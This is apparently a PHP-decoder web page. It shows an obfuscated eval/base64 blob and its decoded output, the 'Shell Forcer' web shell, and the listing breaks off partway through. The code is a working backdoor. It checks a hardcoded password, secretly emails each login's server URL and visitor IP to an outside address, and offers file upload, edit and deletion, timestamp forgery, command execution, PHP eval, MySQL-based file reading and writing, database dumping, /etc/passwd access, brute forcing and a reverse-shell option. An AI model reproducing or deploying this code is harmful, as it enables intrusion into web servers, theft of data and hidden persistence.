Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? eval(gzinflate(base64_decode('FJ3HroPalkV/pXp1JRrkYOnpXZEzJqdOiZxz5uvLp3+ObdhrzzmGMfa//..
Decoded Output download
?><?php
/****************************************\
|* SHELL FORCER - VERSION 2011 *|
|* Edit & Develop by Loki - BYG *|
|* The Legend of Vietnamese Hacker *|
|* == Hacking & Security == *|
\****************************************/
error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0 );
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
@set_time_limit(0);
foreach(array('_GET','_POST') as $_request) {
foreach($$_request as $_key => $_value) {
if ($_key{0} != '_') {
if (IS_GPC) {
$_value = s_array($_value);
}
$$_key = $_value;
}
}
}
/*================= Info Login ================*/
$admin = array();
$admin['check'] = true;
$admin['pass'] = 'loki'; // Password login
$admin['cookiepre'] = '';
$admin['cookiedomain'] = '';
$admin['cookiepath'] = '/';
$admin['cookielife'] = 86400;
/*===================== End =====================*/
if ($charset == 'utf8') {
header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {
header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {
header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {
header("content-Type: text/html; charset=iso-8859-2");
}
$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();
/*===================== Login =====================*/
if ($action == "logout") {
scookie('vbapass', '', -86400 * 365);
p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
p('<body background=black>');
exit;
}
if($admin['check']) {
if ($doing == 'login') {
if ($admin['pass'] == $password) {
scookie('vbapass', $password);
$time_shell = "".date("d/m/Y - H:i:s")."";
$ip_remote = $_SERVER["REMOTE_ADDR"];
$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
$to_email = '[email protected]';
$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST']."";
$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
@mail($to_email, $server_mail, $linkcr, $header);
p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
p('<body bgcolor=black>
<BR><BR><div align=center><font color=yellow face=tahoma size=2>.............Waiting To Connect Server.............
<BR><img src=http://cC0.upanh.com/27.212.34473289.Dtu0/ajaxloader.gif></div>');
exit;
}
else
{
$err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Sai PassWord</blink><BR></font></div></td></tr></table>';
echo $err_mess;
}}
if ($_COOKIE['vbapass']) {
if ($_COOKIE['vbapass'] != $admin['pass']) {
loginpage();
}
} else {
loginpage();
}
}
/*===================== Login =====================*/
$errmsg = '';
if ($action == 'phpinfo') {
if (IS_PHPINFO) {
phpinfo();
} else {
$errmsg = 'phpinfo() function has non-permissible';
}
}
if ($doing == 'downfile' && $thefile) {
if (!@file_exists($thefile)) {
$errmsg = 'The file you want Downloadable was nonexistent';
} else {
$fileinfo = pathinfo($thefile);
header('Content-type: application/x-'.$fileinfo['extension']);
header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
header('Content-Length: '.filesize($thefile));
@readfile($thefile);
exit;
}
}
if ($doing == 'backupmysql' && !$saveasfile) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
$table = array_flip($table);
$result = q("SHOW tables");
if (!$result) p('<h2>'.mysql_error().'</h2>');
$filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
header('Content-type: application/unknown');
header('Content-Disposition: attachment; filename='.$filename);
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
$mysqldata .= sqldumptable($currow[0]);
}
}
mysql_close();
exit;
}
// Mysql
if($doing=='mysqldown'){
if (!$dbname) {
$errmsg = 'Please input dbname';
} else {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
if (!file_exists($mysqldlfile)) {
$errmsg = 'The file you want Downloadable was nonexistent';
} else {
$result = q("select load_file('$mysqldlfile');");
if(!$result){
q("DROP TABLE IF EXISTS tmp_angel;");
q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
//Download SQL
q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
$result = q("select content from tmp_angel");
q("DROP TABLE tmp_angel");
}
$row = @mysql_fetch_array($result);
if (!$row) {
$errmsg = 'Load file failed '.mysql_error();
} else {
$fileinfo = pathinfo($mysqldlfile);
header('Content-type: application/x-'.$fileinfo['extension']);
header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
header("Accept-Length: ".strlen($row[0]));
echo $row[0];
exit;
}
}
}
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title><?php echo str_replace('.','','...::[ Have a Nice Day - Loki ]::...');?></title>
<style type="text/css">
body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
a {color: #74A202;text-decoration:none;}
a:hover{color: #f00;text-decoration:underline;}
.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
input, textarea, button
{
font-size: 9pt;
color: #ccc;
font-family: verdana, sans-serif;
background-color: #202020;
border-left: 1px solid #74A202;
border-top: 1px solid #74A202;
border-right: 1px solid #74A202;
border-bottom: 1px solid #74A202;
}
select
{
font-size: 8pt;
font-weight: normal;
color: #ccc;
font-family: verdana, sans-serif;
background-color: #202020;
}
</style>
<script type="text/javascript">
function CheckAll(form) {
for(var i=0;i<form.elements.length;i++) {
var e = form.elements[i];
if (e.name != 'chkall')
e.checked = form.chkall.checked;
}
}
function $(id) {
return document.getElementById(id);
}
function goaction(act){
$('goaction').action.value=act;
$('goaction').submit();
}
</script>
</head>
<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
<table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
<tr>
<td align="center" valign=center>
<div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
Loading<img src="http://cC0.upanh.com/27.212.34473289.Dtu0/ajaxloader.gif">
</div>
</td>
</tr>
</table>
</div>
<script>
var ld=(document.all);
var ns4=document.layers;
var ns6=document.getElementById&&!document.all;
var ie4=document.all;
if (ns4)
ld=document.loading;
else if (ns6)
ld=document.getElementById("loading").style;
else if (ie4)
ld=document.all.loading.style;
function init()
{
if(ns4){ld.visibility="hidden";}
else if (ns6||ie4) ld.display="none";
}
</script>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr class="head_small">
<td width=100%>
<table width=100%><tr class="head_small"><td width=86px><a title="VN hacker" href="<?php $self;?>"><img src=http://cC9.upanh.com/27.217.34479028.x7J0/logo.png height=86 border=0></a></td><td>
<span style="float:left;"> <?php echo "Hostname: <b><font color=yellow>".$_SERVER['HTTP_HOST']."</font></b>";?> | <a href="#" target="_blank"><?php echo str_replace('.','','.::[ Loki - The Legend of Vietnamese Hacker World ]::.');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br />
<?php
$curl_on = @function_exists('curl_version');
$mysql_on = @function_exists('mysql_connect');
$mssql_on = @function_exists('mssql_connect');
$pg_on = @function_exists('pg_connect');
$ora_on = @function_exists('ocilogon');
echo (($safe_mode)?("Safe_mod: <b><font color=yellow>ON</font></b> - "):("Safe_mod: <b><font color=white>OFF</font></b> - "));
echo "PHP version: <font color=yellow><b>".@phpversion()."</b></font> - ";
echo "cURL: ".(($curl_on)?("<b><font color=yellow>ON</font></b> - "):("<b><font color=white>OFF</font></b> - "));
echo "MySQL: <b>";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "<font color=yellow>ON</font></b> - "; } else { echo "<font color=white>OFF</font></b> - "; }
echo "MSSQL: <b>";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "<font color=yellow>ON</font></b> - ";}else{echo "<font color=white>OFF</font></b> - ";}
echo "PostgreSQL: <b>";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "<font color=yellow>ON</font></b> - ";}else{echo "<font color=white>OFF</font></b> - ";}
echo "Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "<font color=yellow>ON</font></b>";}else{echo "<font color=white>OFF</font></b><BR>";}
echo "Disable functions : <b>";
if(''==($df=@ini_get('disable_functions'))){echo "<font color=white>NONE</font></b><BR>";}else{echo "<font color=yellow>$df</font></b><BR>";}
echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
?>
</td></tr></table></td>
</tr>
<tr class="alt1">
<td width=10%><span style="float:left;">[Server IP: <?php echo "<font color=yellow><b>".gethostbyname($_SERVER['SERVER_NAME'])."</font></b>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?> -
] </span>................::::<b> <script language="" type="text/javascript">
var monthNames = new Array("- 01 -","- 02 -","- 03 -","- 04 -","- 05 -","- 06 -","- 07 -","- 08 -","- 09 -","- 10 -","- 11 -","- 12 -");
var dayNames = new Array("Sunday -","Monday -","Tuesday -","Wednesday -","Thursday -","Friday -","Saturday -")
var now = new Date();
thisYear = now.getYear();
thisDay = dayNames[now.getDay()];
if(thisYear < 1900) {thisYear += 1900};
document.write("" + thisDay +" "+ now.getDate() +" "+ monthNames[now.getMonth()] + " " + thisYear);
// -->
</script> ::::................</b> <br />
--------------------------------------------------------------------------------------<br />
<a href="javascript:goaction('file');">File Manager</a> |
<a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
<a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
<a href="javascript:goaction('shell');">Execute Command</a> |
<a href="javascript:goaction('phpenv');">PHP Variable</a> |
<a href="javascript:goaction('eval');">Eval PHP Code</a>
<?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
<?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
<?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
</td>
</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
formhead(array('name'=>'goaction'));
makehide('action');
formfoot();
$errmsg && m($errmsg);
// Dir function
!$dir && $dir = '.';
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != '/') {
$dir = $dir.'/';
}
$uedir = ue($dir);
if (!$action || $action == 'file') {
// Non-writeable
$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
// Delete dir
if ($doing == 'deldir' && $thefile) {
if (!file_exists($thefile)) {
m($thefile.' directory does not exist');
} else {
m('Directory '.(deltree($thefile) ? basename($thefile).' Deleted' : 'Can not Deleted'));
}
}
// Create new dir
elseif ($newdirname) {
$mkdirs = $nowpath.$newdirname;
if (file_exists($mkdirs)) {
m('Directory has already existed');
} else {
m('Directory '.(@mkdir($mkdirs,0777) ? 'Created' : 'Can Not Create'));
@chmod($mkdirs,0777);
}
}
// Upload file
elseif ($doupfile) {
m('File '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'Upload Done' : 'Can Not Upload'));
}
// Edit file
elseif ($editfilename && $filecontent) {
$fp = @fopen($editfilename,'w');
m('Save file '.(@fwrite($fp,$filecontent) ? 'Done' : 'failed'));
@fclose($fp);
}
// Modify
elseif ($pfile && $newperm) {
if (!file_exists($pfile)) {
m('The original file does not exist');
} else {
$newperm = base_convert($newperm,8,10);
m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
}
}
// Rename
elseif ($oldname && $newfilename) {
$nname = $nowpath.$newfilename;
if (file_exists($nname) || !file_exists($oldname)) {
m($nname.' has already existed or original file does not exist');
} else {
m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
}
}
// Copu
elseif ($sname && $tofile) {
if (file_exists($tofile) || !file_exists($sname)) {
m('The goal file has already existed or original file does not exist');
} else {
m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
}
}
// File exit
elseif ($curfile && $tarfile) {
if (!@file_exists($curfile) || !@file_exists($tarfile)) {
m('The goal file has already existed or original file does not exist');
} else {
$time = @filemtime($tarfile);
m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
}
}
// Date
elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
if (!@file_exists($curfile)) {
m(basename($curfile).' does not exist');
} else {
$time = strtotime("$year-$month-$day $hour:$minute:$second");
m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
}
}
// Download
elseif($doing == 'downrar') {
if ($dl) {
$dfiles='';
foreach ($dl as $filepath => $value) {
$dfiles.=$filepath.',';
}
$dfiles=substr($dfiles,0,strlen($dfiles)-1);
$dl=explode(',',$dfiles);
$zip=new PHPZip($dl);
$code=$zip->out;
header('Content-type: application/octet-stream');
header('Accept-Ranges: bytes');
header('Accept-Length: '.strlen($code));
header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
echo $code;
exit;
} else {
m('Please select file(s)');
}
}
// Delete file
elseif($doing == 'delfiles') {
if ($dl) {
$dfiles='';
$succ = $fail = 0;
foreach ($dl as $filepath => $value) {
if (@unlink($filepath)) {
$succ++;
} else {
$fail++;
}
}
m('Deleted file: '.count($dl).' - success: '.$succ.' - fail: '.$fail);
} else {
m('Please select file(s)');
}
}
// Function Newdir
formhead(array('name'=>'createdir'));
makehide('newdirname');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'fileperm'));
makehide('newperm');
makehide('pfile');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'copyfile'));
makehide('sname');
makehide('tofile');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'rename'));
makehide('oldname');
makehide('newfilename');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'fileopform'));
makehide('action');
makehide('opfile');
makehide('dir');
formfoot();
$free = @disk_free_space($nowpath);
!$free && $free = 0;
$all = @disk_total_space($nowpath);
!$all && $all = 0;
$used = $all-$free;
$used_percent = @round(100/($all/$free),2);
p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
<form action="" method="post" id="godir" name="godir">
<tr>
<td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
<td nowrap><input class="bt" value="GO" type="submit"></td>
</tr>
</form>
</table>
<script type="text/javascript">
function createdir(){
var newdirname;
newdirname = prompt('Please input the directory name:', '');
if (!newdirname) return;
$('createdir').newdirname.value=newdirname;
$('createdir').submit();
}
function fileperm(pfile){
var newperm;
newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
if (!newperm) return;
$('fileperm').newperm.value=newperm;
$('fileperm').pfile.value=pfile;
$('fileperm').submit();
}
function copyfile(sname){
var tofile;
tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
if (!tofile) return;
$('copyfile').tofile.value=tofile;
$('copyfile').sname.value=sname;
$('copyfile').submit();
}
function rename(oldname){
var newfilename;
newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
if (!newfilename) return;
$('rename').newfilename.value=newfilename;
$('rename').oldname.value=oldname;
$('rename').submit();
}
function dofile(doing,thefile,m){
if (m && !confirm(m)) {
return;
}
$('filelist').doing.value=doing;
if (thefile){
$('filelist').thefile.value=thefile;
}
$('filelist').submit();
}
function createfile(nowpath){
var filename;
filename = prompt('Please input the file name:', '');
if (!filename) return;
opfile('editfile',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
$('fileopform').action.value=action;
$('fileopform').opfile.value=opfile;
$('fileopform').dir.value=dir;
$('fileopform').submit();
}
function godir(dir,view_writable){
if (view_writable) {
$('godir').view_writable.value=1;
}
$('godir').dir.value=dir;
$('godir').submit();
}
</script>
<?php
tbhead();
p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
if ($view_writable) {
p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
} else {
p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
}
p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
if (IS_WIN && IS_COM) {
$obj = new COM('scripting.filesystemobject');
if ($obj && is_object($obj)) {
$DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
foreach($obj->Drives as $drive) {
if ($drive->DriveType == 2) {
p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
} else {
p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
}
}
}
}
p('</td></tr></form>');
p('<tr class="head"><td> </td><td><font color=yellow>Filename</font></td><td width="16%"><font color=yellow>Last modified</font></td><td width="10%"><font color=yellow>Size</font></td><td width="20%"><font color=yellow>Chmod / Perms</font></td><td width="22%"><font color=yellow>Action</font></td></tr>');
// Get path
$dirdata=array();
$filedata=array();
if ($view_writable) {
$dirdata = GetList($nowpath);
} else {
// Open dir
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
$filepath=$nowpath.$file;
if(@is_dir($filepath)){
$dirdb['filename']=$file;
$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
$dirdb['dirchmod']=getChmod($filepath);
$dirdb['dirperm']=getPerms($filepath);
$dirdb['fileowner']=getUser($filepath);
$dirdb['dirlink']=$nowpath;
$dirdb['server_link']=$filepath;
$dirdb['client_link']=ue($filepath);
$dirdata[]=$dirdb;
} else {
$filedb['filename']=$file;
$filedb['size']=sizecount(@filesize($filepath));
$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
$filedb['filechmod']=getChmod($filepath);
$filedb['fileperm']=getPerms($filepath);
$filedb['fileowner']=getUser($filepath);
$filedb['dirlink']=$nowpath;
$filedb['server_link']=$filepath;
$filedb['client_link']=ue($filepath);
$filedata[]=$filedb;
}
}// while
unset($dirdb);
unset($filedb);
@closedir($dirs);
}
@sort($dirdata);
@sort($filedata);
$dir_i = '0';
foreach($dirdata as $key => $dirdb){
if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
p('<td nowrap>'.$dirdb['mtime'].'</td>');
p('<td nowrap>--</td>');
p('<td nowrap>');
p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
p('</tr>');
$dir_i++;
} else {
if($dirdb['filename']=='..') {
p('<tr class=fout>');
p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
p('</tr>');
}
}
}
p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
makehide('action','file');
makehide('thefile');
makehide('doing');
makehide('dir',$nowpath);
$file_i = '0';
foreach($filedata as $key => $filedb){
if($filedb['filename']!='..' && $filedb['filename']!='.') {
$fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
p('<td nowrap>'.$filedb['mtime'].'</td>');
p('<td nowrap>'.$filedb['size'].'</td>');
p('<td nowrap>');
p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
p('<td nowrap>');
p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
p('</td></tr>');
$file_i++;
}
}
p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
p('</form></table>');
}// end dir
elseif ($action == 'sqlfile') {
if($doing=="mysqlupload"){
$file = $_FILES['uploadfile'];
$filename = $file['tmp_name'];
if (file_exists($savepath)) {
m('The goal file has already existed');
} else {
if(!$filename) {
m('Please choose a file');
} else {
$fp=@fopen($filename,'r');
$contents=@fread($fp, filesize($filename));
@fclose($fp);
$contents = bin2hex($contents);
if(!$upname) $upname = $file['name'];
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
}
}
}
?>
<script type="text/javascript">
function mysqlfile(doing){
if(!doing) return;
$('doing').value=doing;
$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
$('mysqlfile').dbport.value=$('dbinfo').dbport.value;
$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
$('mysqlfile').dbname.value=$('dbinfo').dbname.value;
$('mysqlfile').charset.value=$('dbinfo').charset.value;
$('mysqlfile').submit();
}
</script>
<?php
!$dbhost && $dbhost = 'localhost';
!$dbuser && $dbuser = 'root';
!$dbport && $dbport = '3306';
$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
makehide('action','sqlfile');
p('<p>');
p('DBHost:');
makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
p(':');
makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
p('DBUser:');
makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
p('DBPass:');
makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
p('DBName:');
makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
p('DBCharset:');
makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
p('</p>');
formfoot();
p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
p('<h2>Upload file</h2>');
p('<p><b>This operation the DB user must has FILE privilege</b></p>');
p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
p('<h2>Download file</h2>');
p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
makehide('dbhost');
makehide('dbport');
makehide('dbuser');
makehide('dbpass');
makehide('dbname');
makehide('charset');
makehide('doing');
makehide('action','sqlfile');
p('</form>');
}
elseif ($action == 'sqladmin') {
!$dbhost && $dbhost = 'localhost';
!$dbuser && $dbuser = 'root';
!$dbport && $dbport = '3306';
$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
if(isset($dbhost)){
$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
}
if(isset($dbuser)) {
$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
}
if(isset($dbpass)) {
$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
}
if(isset($dbport)) {
$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
}
if(isset($dbname)) {
$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
}
if(isset($charset)) {
$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
}
if ($doing == 'backupmysql' && $saveasfile) {
if (!$table) {
m('Please choose the table');
} else {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$table = array_flip($table);
$fp = @fopen($path,'w');
if ($fp) {
$result = q('SHOW tables');
if (!$result) p('<h2>'.mysql_error().'</h2>');
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
sqldumptable($currow[0], $fp);
}
}
fclose($fp);
$fileurl = str_replace(SA_ROOT,'',$path);
m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
mysql_close();
} else {
m('Backup failed');
}
}
}
if ($insert && $insertsql) {
$keystr = $valstr = $tmp = '';
foreach($insertsql as $key => $val) {
if ($val) {
$keystr .= $tmp.$key;
$valstr .= $tmp."'".addslashes($val)."'";
$tmp = ',';
}
}
if ($keystr && $valstr) {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
}
}
if ($update && $insertsql && $base64) {
